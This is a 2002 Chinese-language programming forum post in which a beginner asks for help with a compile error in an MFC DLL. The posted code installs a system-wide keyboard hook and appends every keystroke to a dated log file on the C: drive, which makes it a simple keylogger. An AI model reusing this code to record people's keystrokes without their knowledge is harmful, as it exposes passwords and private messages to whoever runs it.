急急,菜鸟关于DLL的问题!(不好意思,我没分,各位高手帮忙,谢谢)

superdreamer 2002-01-14 03:03:57
我的程序如下:我编译时错误!
头文件:
#define DllExport __declspec(dllexport)

DllExport void WINAPI InstallLaunchEv();

class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp(){};

//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL

//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};

//。CPP文件
#include "LaunchDLL.h"
//在LaunchDLL.cpp中添加全局变量Hook和全局函数LauncherHook、SaveLog:
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
//完成以上提到的这几个函数的实现部分:

CLaunchDLLApp theApp;

DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
///////
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
////////////
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
...全文
12 点赞 收藏 回复
写回复
回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
相关推荐
发帖
非技术类
创建于2007-09-28

1624

社区成员

VC/MFC 非技术类
申请成为版主
帖子事件
创建了帖子
2002-01-14 03:03
社区公告
暂无公告